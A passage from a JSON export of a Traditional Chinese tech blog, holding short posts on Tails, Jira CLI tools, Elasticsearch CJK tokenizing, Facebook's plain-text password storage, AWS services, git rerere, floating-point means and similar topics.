    "title": "Cloudflare 試著分析哪些 HTTPS 連線被攔胡過濾"
  },
  {
    "id": "8850",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2019/03/18/8846/tails-%E8%A3%A1%E7%9A%84%E6%B3%A8%E9%9F%B3%E8%BC%B8%E5%85%A5%E6%B3%95%E7%B5%82%E6%96%BC%E4%BF%AE%E5%A5%BD%E4%BA%86/\">Tails 裡的注音輸入法終於修好了...</a>」這邊有提到 <a href=\"https://tails.boum.org/\">Tails</a> 的注音輸入法爛掉很久的問題，以及對應的 bugfix 測的差不多了，不過當時一直還沒確定會不會在這個版本修正。\r\n\r\n剛剛在「<a href=\"https://tails.boum.org/news/version_3.13/index.en.html\">Tails 3.13 is out</a>」這邊的公告裡看到把這個 bugfix 納入 Tails 3.13 了：\r\n\r\n<blockquote>Add support for the Bopomofo input method for Chinese using the Chewing library and improve support for the Pinyin input method. (#11292)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vk6OPqO.webp\" /><img src=\"https://i.gslin.com/imgur/vk6OPqO.jpg\" alt=\"\" /></picture></blockquote>\r\n\r\n後續要再來測操作順暢性的問題了...",
    "title": "Tails 3.13 把注音輸入法的 bugfix 放進去了"
  },
  {
    "id": "8851",
    "body": "公司用 <a href=\"https://en.wikipedia.org/wiki/Jira_(software)\">Jira</a> 在管理事情，但眾所皆知的是 Jira 的速度實在太慢 (而且沒改善過)，只好找些工具來避免使用 web interface...\r\n\r\n翻了 <a href=\"https://github.com/\">GitHub</a> 後看到 <a href=\"https://github.com/toabctl/jiracli\">toabctl/jiracli</a> 這個用 <a href=\"https://www.python.org/\">Python</a> 開發的軟體，可以在 command line 上對 Jira 做些簡單常見的操作 (對我最主要是 issue 與 comment 的操作)，另外工具也支援使用 JQL 搜尋，所以可以透過工具拉下來後再用 grep 或是 awk 過濾...\r\n\r\n比較需要注意的是，在第一次執行需要設定的三個參數中，password 的部分其實應該使用 API token (我這邊是 Google SSO，所以不確定一般帳號能不能用自己的密碼登入)，這個部分可以在個人設定頁面裡面產生 API token。\r\n\r\n設定檔會在 <code>~/.jiracli.ini</code> 裡面，程式應該會設為 0600，不過可以檢查一下就是了...",
    "title": "用 jiracli 做一些基本常見的操作"
  },
  {
    "id": "8852",
    "body": "<a href=\"https://www.elastic.co/\">Elasticsearch</a> 應該是目前大家搜尋引擎的首選了。而且預設的搜尋法不像以前的搜尋引擎，以前的搜尋引擎會把所有的中文字串當作一個 term，基本上是搜不到東西的。\r\n\r\n不過偶而還是會出現一些問題，像是這樣：(這是在<a href=\"https://www.qollie.com/\">求職天眼通</a>搜尋「訊力科技股份有限公司」的結果)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/aIJ6doT.webp\" /><img src=\"https://i.gslin.com/imgur/aIJ6doT.jpg\" alt=\"\" /></picture>\r\n\r\n會發現出現了「104人力銀行_一零四資訊科技股份有限公司」，這是因為預設的搜尋演算法把中文字一個一個拆開，後面的「科技股份有限公司」八個字也都有出現，前面的「訊」與「力」也都有出現，於是就被拉出來了...\r\n\r\n這種方式被歸類為 unigram 類的方式，像是「波音737 MAX」這一段就會被切成「波」、「音」、「737」與「MAX」。這個切法還算不錯，但有不少機會會遇到問題。\r\n\r\n如果限制在 Elasticsearch 內建的功能，其實有更好的設定可以用，也就是對 CJK 文字改用 bigram 方式切：「<a href=\"https://www.elastic.co/guide/en/elasticsearch/reference/current/analysis-cjk-bigram-tokenfilter.html\">CJK Bigram Token Filter</a>」。\r\n\r\n遇到英文數字還是照原來的切法，但遇到中文字 (更正確的說應該是 CJK) 會用 bigram 的方式切，像是搜尋詞「訊力科技股份有限公司」就會被切成「訊力」、「力科」、「科技」、「技股」、「股份」、「份有」、「有限」、「限公」與「公司」，而本來的「104人力銀行_一零四資訊科技股份有限公司」裡面就不會出現「訊力」、「力科」，於是就不會抓錯...\r\n\r\n當然還是有更好的演算法，不過大多就需要另外安裝了，而 Elasticsearch 的升級又很容易跟這些另外裝的套件卡住，所以在考慮維護成本下，CJK Bigram Token Filter 應該是首選...",
    "title": "Elasticsearch 的 CJK Bigram 設定"
  },
  {
    "id": "8853",
    "body": "從 <a href=\"https://krebsonsecurity.com/\">Krebs on Security</a> 這邊看到的：「<a href=\"https://krebsonsecurity.com/2019/03/facebook-stored-hundreds-of-millions-of-user-passwords-in-plain-text-for-years/\">Facebook Stored Hundreds of Millions of User Passwords in Plain Text for Years</a>」，<a href=\"https://www.facebook.com/\">Facebook</a> 官方的回應在「<a href=\"https://newsroom.fb.com/news/2019/03/keeping-passwords-secure/\">Keeping Passwords Secure</a>」這邊。\r\n\r\n幾個重點，第一個是範圍，目前已經有看到 2012 的資料都有在內：\r\n\r\n<blockquote>The Facebook source said the investigation so far indicates between 200 million and 600 million Facebook users may have had their account passwords stored in plain text and searchable by more than 20,000 Facebook employees. The source said Facebook is still trying to determine how many passwords were exposed and for how long, but so far the inquiry has uncovered archives with plain text user passwords dating back to 2012.</blockquote>\r\n\r\n另外的重點是這些資料已經被內部拿來大量搜尋 (喔喔)：\r\n\r\n<blockquote>My Facebook insider said access logs showed some 2,000 engineers or developers made approximately nine million internal queries for data elements that contained plain text user passwords.</blockquote>\r\n\r\n另外是 Legal 與 PR 都已經啟動處理了，對外新聞稿會美化數字，降低傷害：\r\n\r\n<blockquote>“The longer we go into this analysis the more comfortable the legal people [at Facebook] are going with the lower bounds” of affected users, the source said. “Right now they’re working on an effort to reduce that number even more by only counting things we have currently in our data warehouse.”</blockquote>\r\n\r\n另外也會淡化後續的程序\b：\r\n\r\n<blockquote>Renfro said the company planned to alert affected Facebook users, but that no password resets would be required.</blockquote>\r\n\r\n去年的另外一則新聞可以交叉看：「<a href=\"https://www.theverge.com/2018/8/1/17640852/facebook-cso-alex-stamos-departing-no-replacement\">Facebook’s security chief is leaving, and no one’s going to replace him</a>」：\r\n\r\n<blockquote>Instead of building out a dedicated security team, Facebook has dissolved it and is instead embedding security engineers within its other divisions. “We are not naming a new CSO, since earlier this year we embedded our security engineers, analysts, investigators, and other specialists in our product and engineering teams to better address the emerging security threats we face,” a Facebook spokesman said in an email. Facebook will “continue to evaluate what kind of structure works best” to protect users’ security, he said.</blockquote>\r\n\r\n看起來又要再換一次密碼了... (還好已經習慣用 Password Manager，所以每個站都有不同密碼？)\r\n\r\n喔對，另外補充一個概念，當他們說「我們沒有證據有人存取了...」的時候，比較正確的表達應該是「我們沒有稽核這塊... 所以沒有證據」。",
    "title": "Facebook 員工爆料內部密碼存了明碼"
  },
  {
    "id": "8854",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了在直播時就自動上字幕的功能：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/03/introducing-live-streaming-with-automated-multi-language-subtitling/\">Introducing Live Streaming with Automated Multi-Language Subtitling</a>」，其實就是把現有的服務兜出來：「<a href=\"https://aws.amazon.com/solutions/live-streaming-with-automated-multi-language-subtitling/\">Live Streaming with Automated Multi-Language Subtitling</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8v3DFx2.webp\" /><img src=\"https://i.gslin.com/imgur/8v3DFx2.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>The solution deploys Live Streaming on AWS which includes AWS Elemental MediaLive, MediaPackage, Amazon CloudFront. The solution also deploys AWS Lambda, Amazon Simple Storage Service, Amazon Transcribe, and Amazon Translate.</blockquote>\r\n\r\n對於比較沒那麼要求翻譯品質的情況也許可以玩看看...？",
    "title": "AWS 推出了 Live 時全自動上字幕的功能"
  },
  {
    "id": "8856",
    "body": "在 <a href=\"https://changelog.com/\">Changelog</a> 上看到「<a href=\"https://changelog.com/news/in-defense-of-yaml-ww2O\">In defense of YAML</a>」這篇講 <a href=\"https://en.wikipedia.org/wiki/YAML\">YAML</a> 的問題，裡面是引用「<a href=\"https://blog.atomist.com/in-defense-of-yaml/\">In Defense of YAML</a>」這篇文章。\r\n\r\n未必全盤接受文章裡面的說法，但裡面提到的兩個點的確是痛點，第一個是空白 (或者說 indent)，第二格式特殊語法。這兩個是用 YAML 時都很頭痛的問題：\r\n\r\n<blockquote>Whitespace is a minefield. Its syntax is surprisingly complex.</blockquote>\r\n\r\n就像 JavaScript 的 <code>==</code> 一樣 (我指的是之前寫的「<a href=\"https://blog.gslin.org/archives/2019/03/12/8805/javascript-%E7%9A%84-%E6%A2%9D%E5%88%97%E5%BC%8F%E6%AF%94%E8%BC%83/\">JavaScript 的 == 條列式比較</a>」這篇)，你可以把定義背下來，但你會覺得沒什麼道理可言而有種無奈的感覺...\r\n\r\n文章裡也有提到 JSON 內沒有 comment 的設計的確是用起來比較無奈的地方...",
    "title": "YAML 的痛點"
  },
  {
    "id": "8857",
    "body": "看到「<a href=\"https://captrobau.blogspot.com/2019/03/remastering-star-trek-deep-space-nine.html\">Remastering Star Trek: Deep Space Nine With Machine Learning</a>」這篇，裡面用了類神經網路演算法，將本來只有 480p (SD) 的 <a href=\"https://en.wikipedia.org/wiki/Star_Trek:_Deep_Space_Nine\">Star Trek: DS9</a> 升到 1080p (Full HD) 的版本，而且看起來效果還不錯...\r\n\r\n意外的看到有人拿 Star Trek 的材料來玩... 依照作者的說明，DS9 一直沒有 Full HD 版的其中一個原因反而是因為「數位化」了。使用類比膠卷的母帶可以透過更高規格的重新掃描而得到高畫質版本，但 DS9 的母帶似乎已經是數位版了，所以反而造成無法透過重新掃描的方式取得 Full HD 版本：\r\n\r\n<blockquote>While you can rescan analog film at a higher resolution, video is digital and can't be rescanned. This makes it much costlier to remaster this TV show, which is one of the reasons why it hasn't happened.</blockquote>\r\n\r\n現有的 upscale 技術主要都還是以圖片為主，所以作者本來以為對於動態畫面的處理會遇到問題，但蠻意外的超出預期，從影片可以看出來：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/hInQkqmjn48\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\r\n\r\n看起來之後的 remaster 版本有可能可以靠這個方法先做初步，然後再讓人進去修？",
    "title": "用 NN 演算法重製 Full HD 版的 Star Trek: DS9"
  },
  {
    "id": "8858",
    "body": "要講 <a href=\"https://github.com/alexellis/inlets\">inlets</a> 前要先講 <a href=\"https://ngrok.com/\">ngrok</a> 這個服務。這個服務可以在開發機上主動建立連線到外部伺服器，接著透過這個連線與本機的 web server 溝通，讓外部的客戶可以很方便的進行測試 (通常會開個 <a href=\"https://zoom.us/\">Zoom</a> 之類的工具邊討論邊修改)，算是 reverse proxy as a service 的服務。\r\n\r\n類似機制的服務還有 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 的 <a href=\"https://www.cloudflare.com/products/argo-tunnel/\">Argo Tunnel</a>，不過產品定位不太一樣。\r\n\r\n而 inlets 就是 open source 版本的 ngrok，你只要在外部租一台主機就可以用了。左邊是自己的開發機 (像是 Macbook)，右邊則是外部的主機 (租用 VPS)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6vDLu3M.webp\" /><img src=\"https://i.gslin.com/imgur/6vDLu3M.jpg\" alt=\"\" /></picture>\r\n\r\n不過這個跟開發模式也有關...",
    "title": "將本機開發網站展示給外部看的工具 inlets"
  },
  {
    "id": "8859",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 整理了一份關於 <a href=\"http://galeracluster.com/products/\">Galara Cluster</a> 上 DDL 操作的一些技巧，這包括了 <a href=\"https://www.percona.com/software/mysql-database/percona-xtradb-cluster\">Percona XtraDB Cluster</a> 與 <a href=\"https://mariadb.org/\">MariaDB</a> 的版本：「<a href=\"https://www.percona.com/blog/2019/03/25/how-to-perform-compatible-schema-changes-in-percona-xtradb-cluster-advanced-alternative/\">How to Perform Compatible Schema Changes in Percona XtraDB Cluster (Advanced Alternative)?</a>」。\r\n\r\n在不知道這些技巧前，一般都是拿 <a href=\"https://www.percona.com/doc/percona-toolkit/\">Percona Toolkit</a> 裡的 <code>pt-online-schema-change</code> 來降低影響 (可以降的非常低)，所以這些技巧算是額外知識，另外在某些極端無法使用 <code>pt-online-schema-change</code> 的情境下也可以拿來用...\r\n\r\n裡面的重點就是 <code>wsrep_OSU_method</code> 這個參數，預設的值 <code>TOI</code> 就是一般性的常識，所有的指令都會被傳到每一台資料庫上執行，而 <code>RSU</code> 則是會故意不讓 DDL 操作 (像是 <code>ALTER TABLE</code>) 被 replicate 到其他機器，需要由管理者自己到每台機器上執行。\r\n\r\n利用這個設定，加上透過工具將流量導到不同後端的資料庫上，就有機會分批進行修改，而不需要透過 <code>pt-online-schema-change</code> 這種工具。",
    "title": "在 Galera Cluster 上的 DDL 操作 (e.g. ALTER TABLE)"
  },
  {
    "id": "8861",
    "body": "<a href=\"https://git-scm.com/\">Git</a> 上一個很好用的設定，不需要改變原來的工作模式，有種「被動靈氣」的感覺 XD\r\n\r\n在 <a href=\"https://twitter.com/\">Twitter</a> 上看到這則推：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"zh\" dir=\"ltr\">整理了三個 GIT 比較少用的指令：bisect 是利用二元對切，自動協助 checkout commit 快速找到第一個發生問題的 commit。 rerere 是讓解衝突的方式，可以重複利用。worktree 則是在同一個 repo 下直接新建不同的工作目錄，方便工作上直接對照或查看。<a href=\"https://twitter.com/hashtag/GIT?src=hash&amp;ref_src=twsrc%5Etfw\">#GIT</a><a href=\"https://t.co/YsObFucOyU\">https://t.co/YsObFucOyU</a></p>&mdash; mouson (@mouson) <a href=\"https://twitter.com/mouson/status/1109844984583208960?ref_src=twsrc%5Etfw\">March 24, 2019</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n裡面提到了 <a href=\"https://git-scm.com/docs/git-rerere\">git rerere</a> 這個指令，投影片裡面雖然有給方法，不過一時間沒看懂... (oops)\r\n\r\n找了一下官方文件與其他文件後發現其實意外的簡單，就是在 <code>.gitconfig</code> 設定檔內開啟個 flag 後就沒事了，其他的動作照以前的方式走。Git 的被動技能就是在每次遇到 conflict 以及解決的時候就會記錄下來，當下次遇到同樣的情況就自動幫你解。\r\n\r\n先開起來再說，之後來看看有什麼副作用再來抱怨 XDDD",
    "title": "被動靈氣加成：用 git rerere 解決同樣的 conflict 問題"
  },
  {
    "id": "8864",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 發現目前符合他們條件的 <a href=\"https://www.wireguard.com/\">WireGuard</a> 軟體效能不夠好，所以就用 <a href=\"https://www.rust-lang.org/\">Rust</a> 寫了一套出來：「<a href=\"https://blog.cloudflare.com/boringtun-userspace-wireguard-rust/\">BoringTun, a userspace WireGuard implementation in Rust</a>」，軟體在「<a href=\"https://github.com/cloudflare/boringtun\">BoringTun</a>」這邊可以看到。\r\n\r\nCloudflare 的條件是 userspace 以及多平台，市面上有 <a href=\"https://git.zx2c4.com/wireguard-go/\">wireguard-go</a> 符合這兩個條件，但效能不太好，所以就下去寫了。\r\n\r\n<a href=\"https://github.com/\">GitHub</a> 的頁面上可以看出還在剛開始的階段，很多頁面都還只有個雛型... 等這幾天陸陸續續更新後再回來看好了。",
    "title": "Cloudflare 自己用 Rust 寫了一套相容 WireGuard 協定的軟體"
  },
  {
    "id": "8876",
    "body": ".header-image {\n  height: 100%;\n}\n\n:root {\n  --font-features: initial;\n}\n\na {\n  color: initial;\n}\n\na:visited {\n  color: #777;\n}\n\npre {\n  white-space: pre-wrap;\n}",
    "title": "kai-12"
  },
  {
    "id": "8882",
    "body": "最近的資訊網路圈子 IPO 案子好多，其中一個比較值得注意的是 <a href=\"https://zoom.us/\">Zoom</a>：「<a href=\"https://techcrunch.com/2019/03/22/zoom-a-profitable-unicorn-files-to-go-public/\">Zoom, a profitable unicorn, files to go public</a>」。\r\n\r\n這家公司不像 <a href=\"https://www.pagerduty.com/\">PagerDuty</a> 與 <a href=\"https://www.pinterest.com/\">Pinterest</a>，這兩家是沒賺過錢就丟單子出來了，而 Zoom 是有賺錢還打算出來 IPO：\r\n\r\n<blockquote>Zoom, which raised a total of $145 million to date, posted $330 million in revenue in the year ending January 31, 2019, a remarkable 2x increase year-over-year, with a gross profit of $269.5 million. The company similarly more than doubled revenues from 2017 to 2018, wrapping fiscal year 2017 with $60.8 million in revenue and 2018 with $151.5 million.</blockquote>\r\n\r\n啊不過 Zoom 真的蠻好用的，一群人在不同地方要討論事情時，用電子白板或是分享畫面都還不錯... 這幾天跟不是資訊圈子的人在用也都有很正面的 feedback。",
    "title": "Zoom 也要 IPO 了..."
  },
  {
    "id": "8883",
    "body": "2016 年的文章，不過算是經典的題目，所以最近又冒出來了。要怎麼找數列的平均值：「<a href=\"https://hypothesis.works/articles/calculating-the-mean/\">Calculating the mean of a list of numbers</a>」。\r\n\r\n<blockquote>You have a list of floating point numbers. No nasty tricks - these aren’t NaN or Infinity, just normal “simple” floating point numbers.\r\n\r\nNow: Calculate the mean (average). Can you do it?</blockquote>\r\n\r\n你有一串浮點數 (沒有 NaN 與 Infinity)，要怎麼找出平均值。要考慮的包括：\r\n\r\n<ul>\r\n\t<li>第一個要處理的就是設計演算法時各種會 overflow 的情況。</li>\r\n\t<li>降低誤差。</li>\r\n\t<li>合理的計算量。</li>\r\n</ul>\r\n\r\n好像很適合拿來 data team 面試時互相討論的題目？因為「平均值」是個商業上本來就有意義的指標，而且從 time-series events 灌進來的資料量有機會產生各種 overflow 情境，或是精確度問題，所以這個問題其實是個在真實世界上會遇到的情境。\r\n\r\n想了一下，如果是 integer 的確是簡單很多 (可以算出正確的值)，但如果是 float 類型真的難很多：\r\n\r\n<blockquote>It also demonstrates a problem: Floating point mathematics is very hard, and this makes it somewhat unsuitable for testing with Hypothesis.</blockquote>\r\n\r\n馬上想到的地雷是在 <a href=\"https://en.wikipedia.org/wiki/IEEE_754\">IEEE 754</a> 的 float 世界裡，<code>2^24 + 1</code> 還是 <code>2^24</code>：\r\n\r\n<pre>#include &lt;math.h&gt;\r\n#include &lt;stdio.h&gt;\r\n\r\nint main(void)\r\n{\r\n    int i;\r\n    float a;\r\n\r\n    for (i = 0; i &lt; 32; i++) {\r\n        a = pow(2, i);\r\n        printf(\"2^%d     = %f\\n\", i, a);\r\n\r\n        a += 1;\r\n        printf(\"2^%d + 1 = %f\\n\", i, a);\r\n    }\r\n}</pre>\r\n\r\n然後在這邊可以看出差異：\r\n\r\n<pre>2^23     = 8388608.000000\r\n2^23 + 1 = 8388609.000000\r\n2^24     = 16777216.000000\r\n2^24 + 1 = 16777216.000000</pre>",
    "title": "找數列的平均值"
  },
  {
    "id": "8884",
    "body": "<a href=\"https://www.ftc.gov/\">FTC</a> 要研究 ISP 手上有哪些客戶的資料，然後提供給誰：「<a href=\"https://www.ftc.gov/news-events/press-releases/2019/03/ftc-seeks-examine-privacy-practices-broadband-providers\">FTC Seeks to Examine the Privacy Practices of Broadband Providers</a>」。\r\n\r\n<blockquote>The Federal Trade Commission issued orders to seven U.S. Internet broadband providers and related entities seeking information the agency will use to examine how broadband companies collect, retain, use, and disclose information about consumers and their devices.</blockquote>\r\n\r\n包括了這七家，裡面的六家都算大業者，被 FTC 納入不算意外，第七家包括了 <a href=\"https://fiber.google.com/\">Google Fiber Inc.</a>，到時候不知道會有什麼資訊出來：\r\n\r\n<blockquote>The orders were sent to: AT&amp;T Inc., AT&amp;T Mobility LLC, Comcast Cable Communications doing business as Xfinity, Google Fiber Inc., T-Mobile US Inc., Verizon Communications Inc., and Cellco Partnership doing business as Verizon Wireless.</blockquote>\r\n\r\n看了一下 PDF，應該是 45 天後要回覆，加上整理的時間，應該是下半年會看到一些整理？",
    "title": "FTC 找了七家 ISP 業者要研究隱私問題..."
  },
  {
    "id": "8887",
    "body": "雖然在 <a href=\"https://aws.amazon.com/\">AWS</a> 上服務的 HA 大多都不需要自己管理，但備份機制 (甚至異地備援) 還是要自己規劃，<a href=\"https://aws.amazon.com/rds/aurora/details/mysql-details/\">Amazon Aurora with MySQL</a> 的 GTID 功能算是讓這塊多了一個選擇：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/03/amazon-aurora-with-mysql-5-7-compatibility-supports-gtid-based-replication/\">Amazon Aurora with MySQL 5.7 Compatibility Supports GTID-Based Replication</a>」。\r\n\r\n公告裡面有提到 Aurora 自己的 replication 還是用自己的機制，而非透過 GTID 做的：\r\n\r\n<blockquote>This provides complete consistency when using binlog replication between an Aurora database and an external MySQL database. Your replication won’t miss transactions or generate conflicts, even after failover or downtime. (Note that replication within an Aurora cluster doesn't use binlog files, so the GTID feature doesn't apply.)</blockquote>\r\n\r\n不過就 Aurora 的架構來說，整個 cluster 比較像是看作一個整體，用 binlog + position 應該是夠用的？也不會有 failover 時的 conflict 問題？不確定用 GTID 的好處會在哪邊，還得再想看看...",
    "title": "Amazon Aurora with MySQL 5.7 支援 GTID"
  },
  {
    "id": "8888",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出的這個方案價錢又更低了：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-s3-storage-class-glacier-deep-archive/\">New Amazon S3 Storage Class – Glacier Deep Archive</a>」。\r\n\r\n在這之前在 <code>us-east-1</code> 的 <a href=\"https://aws.amazon.com/s3/\">S3</a> 最低的方案是 Glacier Storage，單價是 USD$0.004/GB (也就是 $4/TB)。\r\n\r\n而這次推出的 Glacier Deep Archive Storage 在同一區則是直接到 USD$0.00099/GB ($0.99/TB)，大約是 1/4 的價錢。\r\n\r\nGlacier Deep Archive 在取得時 first byte 的保證時間是 12 小時，另外最低消費是 180 天：\r\n\r\n<blockquote>Retrieval time within 12 hours</blockquote>\r\n\r\n先前就有的 Glacier Storage 則是可以在取用時設定取得的 pattern (會影響 first byte 的時間)，而最低消費是 90 天：\r\n\r\n<blockquote>Configurable retrieval times, from minutes to hours</blockquote>\r\n\r\n<blockquote>Pricing for each of these metrics is determined by the speed at which data is requested based on three options. \"Expedited\" queries &lt;250 MB are typically returned in 1-5 minutes. \"Standard\" queries are typically returned in 3-5 hours. \"Bulk\" queries are typically returned in 5-12 hours.</blockquote>\r\n\r\n多一個更便宜的選擇可以用。",
    "title": "AWS 推出更便宜的儲存方案 Glacier Deep Archive"
  },
  {
    "id": "8890",
    "body": "",
    "title": ""
  },
  {
    "id": "8903",
    "body": "2013 年時在「<a href=\"https://tech.slashdot.org/story/13/09/28/2025205/automatic-translation-without-dictionaries\">Automatic Translation Without Dictionaries</a>」這邊看到關於機器翻譯時的自我學習方式，裡面提到了「<a href=\"https://www.technologyreview.com/s/519581/how-google-converted-language-translation-into-a-problem-of-vector-space-mathematics/\">How Google Converted Language Translation Into a Problem of Vector Space Mathematics</a>」這篇報導，而裡面提到的論文則是 <a href=\"https://www.google.com/\">Google</a> 發表在 <a href=\"https://en.wikipedia.org/wiki/ArXiv\">arXiv</a> 上的「<a href=\"https://arxiv.org/abs/1309.4168\">Exploiting Similarities among Languages for Machine Translation</a>」這篇。\r\n\r\n最近看到「<a href=\"https://jalammar.github.io/illustrated-word2vec/\">The Illustrated Word2vec</a>」這篇，把五年多前的記錄交叉拉出來看... 這個算式算是給了大家基本的想法，透過公式來解釋文字的意義：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xl7Ox2q.webp\" /><img src=\"https://i.gslin.com/imgur/xl7Ox2q.jpg\" alt=\"\" /></picture>\r\n\r\n拉出這樣的關係後，就有機會學習新的詞彙... 進而用在其他語言的翻譯上。",
    "title": "Word2Vec：透過向量猜測其他詞彙的意思"
  },
  {
    "id": "8915",
    "body": "<a href=\"https://github.com/\">GitHub</a> 發出的 Webhook 的來源位置增加網段了：「<a href=\"https://developer.github.com/changes/2019-03-29-webhooks-ip-changes/\">Webhook IP addresses are changing</a>」。\r\n\r\n目前是 <code>192.30.252.0/22</code>，在 2019/04/09 後將會增加 <code>140.82.112.0/20</code>，如果有用防火牆的人需要修改設定，把多的這段加上去。\r\n\r\n去年就把這個網段放進 API 裡，但一直都還沒啟用，所以如果你有透過 API 動態更新防火牆規則的話就沒問題，現在是最後登機廣播了：\r\n\r\n<blockquote>This block of IPs has been in the /meta API endpoint since May 2018, but we wanted to announce this update in case you missed it.</blockquote>",
    "title": "GitHub 的 Webhook IP 增加網段"
  },
  {
    "id": "8916",
    "body": "繼 <a href=\"https://aws.amazon.com/\">AWS</a> 先前宣佈 <a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> (<a href=\"https://dev.mysql.com/\">MySQL</a>) 支援 GTID Replication (參考「<a href=\"https://blog.gslin.org/archives/2019/03/29/8887/amazon-aurora-with-mysql-5-7-%E6%94%AF%E6%8F%B4-gtid/\">Amazon Aurora with MySQL 5.7 支援 GTID</a>」)，現在則是宣佈 Amazon Aurora with <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 支援 Logical Replication：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/03/amazon-aurora-with-postgresql-compatibility-supports-logical-replication/\">Amazon Aurora with PostgreSQL Compatibility Supports Logical Replication</a>」。\r\n\r\n如同預期的，要新版的才支援：\r\n\r\n<blockquote>Logical replication is supported with Aurora PostgreSQL versions 2.2.0 and 2.2.1, compatible with PostgreSQL 10.6.</blockquote>\r\n\r\n有 Logical Replication 可以多做很多事情，像是雲端與外部 PostgreSQL 服務的串接 (e.g. 即時拉一份到 IDC 機房)。另外有些 ETL 工具也可以透過這個方式取得資料庫上改變了什麼東西。",
    "title": "Amazon Aurora with PostgreSQL 支援 Logical Replication"
  },
  {
    "id": "8919",
    "body": "去年在四月一日推出 <code>1.1.1.1</code> 服務的 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 打算更進一步保護連線內容，提供 Wrap 服務 (就是 VPN)：「<a href=\"https://blog.cloudflare.com/1111-warp-better-vpn/\">Introducing Warp: Fixing Mobile Internet Performance and Security</a>」。\r\n\r\n不過這樣在 privacy 上的保護就變弱了，因為 Cloudflare 手上就拿到更多流量資訊可以交叉比對... 大概會申請起來放著在外面用，而不會平常就開著。\r\n\r\n申請是透過 app 申請，Android 的在「<a href=\"https://play.google.com/store/apps/details?id=com.cloudflare.onedotonedotonedotone\">1.1.1.1: Faster & Safer Internet</a>」這邊，而 iOS 的在「<a href=\"https://itunes.apple.com/us/app/1-1-1-1-faster-internet/id1423538627?mt=8\">1.1.1.1: Faster Internet</a>」這邊。\r\n\r\n目前申請後需看到排隊的編號，像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yw1PfE9.webp\" /><img src=\"https://i.gslin.com/imgur/yw1PfE9.jpg\" alt=\"\" /></picture>",
    "title": "Cloudflare 打算再推出 VPN 服務"
  },
  {
    "id": "8920",
    "body": "<a href=\"https://aws.amazon.com/transcribe/\">Amazon Transcribe</a> 是 <a href=\"https://aws.amazon.com/\">AWS</a> 提供的語音辨識服務，最近發表了不少可以客製化的功能：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/03/amazon-transcribe-enhances-custom-vocabulary-with-custom-pronunciations-and-display-forms/\">Amazon Transcribe enhances custom vocabulary with custom pronunciations and display forms</a>」。\r\n\r\n一個是可以增加字彙，包括他的發音 (不過得透過 <a href=\"https://en.wikipedia.org/wiki/International_Phonetic_Alphabet\">IPA</a> 標，這邊會需要學一些東西)：\r\n\r\n<blockquote>You can give Amazon Transcribe more information about how to process speech in your input audio or video file by creating a custom vocabulary. A custom vocabulary is a list of specific words that you want Amazon Transcribe to recognize in your audio input. These are generally domain-specific words and phrases, words that Amazon Transcribe isn't recognizing, or proper nouns.\r\n\r\nNow, with the use of characters from the International Phonetic Alphabet (IPA), you can enhance each custom terminology with corresponding custom pronunciations. Alternatively, you can also use the standard orthography of the language to mimic the way that the word or phrase sounds.</blockquote>\r\n\r\n另外是定義詞彙的標示方法：\r\n\r\n<blockquote>Additionally, you can now designate exactly how a customer terminology should be displayed when it is transcribed (e.g. “Street” as “St.” versus “ST”).</blockquote>\r\n\r\n這對於專有名詞的部份應該是很好用？像是人名...",
    "title": "Amazon Transcribe 增加許多客製化功能"
  },
  {
    "id": "8922",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到的公告：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Effective today, the PHP project has ended its volunteer mirror program.  All users of PHP will now be accessing <a href=\"https://t.co/S2GoDChwgr\">https://t.co/S2GoDChwgr</a> sites directly from project servers and via CDN.<a href=\"https://t.co/POypIycsti\">https://t.co/POypIycsti</a><a href=\"https://twitter.com/hashtag/NotAnAprilFools?src=hash&amp;ref_src=twsrc%5Etfw\">#NotAnAprilFools</a></p>&mdash; php.net (@official_php) <a href=\"https://twitter.com/official_php/status/1112745899418181632?ref_src=twsrc%5Etfw\">April 1, 2019</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n本來 <a href=\"https://www.php.net/\">PHP</a> 開放讓各地區的自願者提供頻寬，使用 PHP 的網域名稱 (像是 <code>tw.php.net</code> 這樣)，現在則是全部都收回，由官方統一提供有 HTTPS 的網頁版本 <a href=\"https://www.php.net/\">https://www.php.net/</a>。\r\n\r\n目前看起來 latency 頗高，都是到美東的伺服器上？下載也都還是指在 https://www.php.net/ 上，不知道 CDN 是用在哪裡...",
    "title": "PHP 終止 mirror 站台計畫"
  },
  {
    "id": "8923",
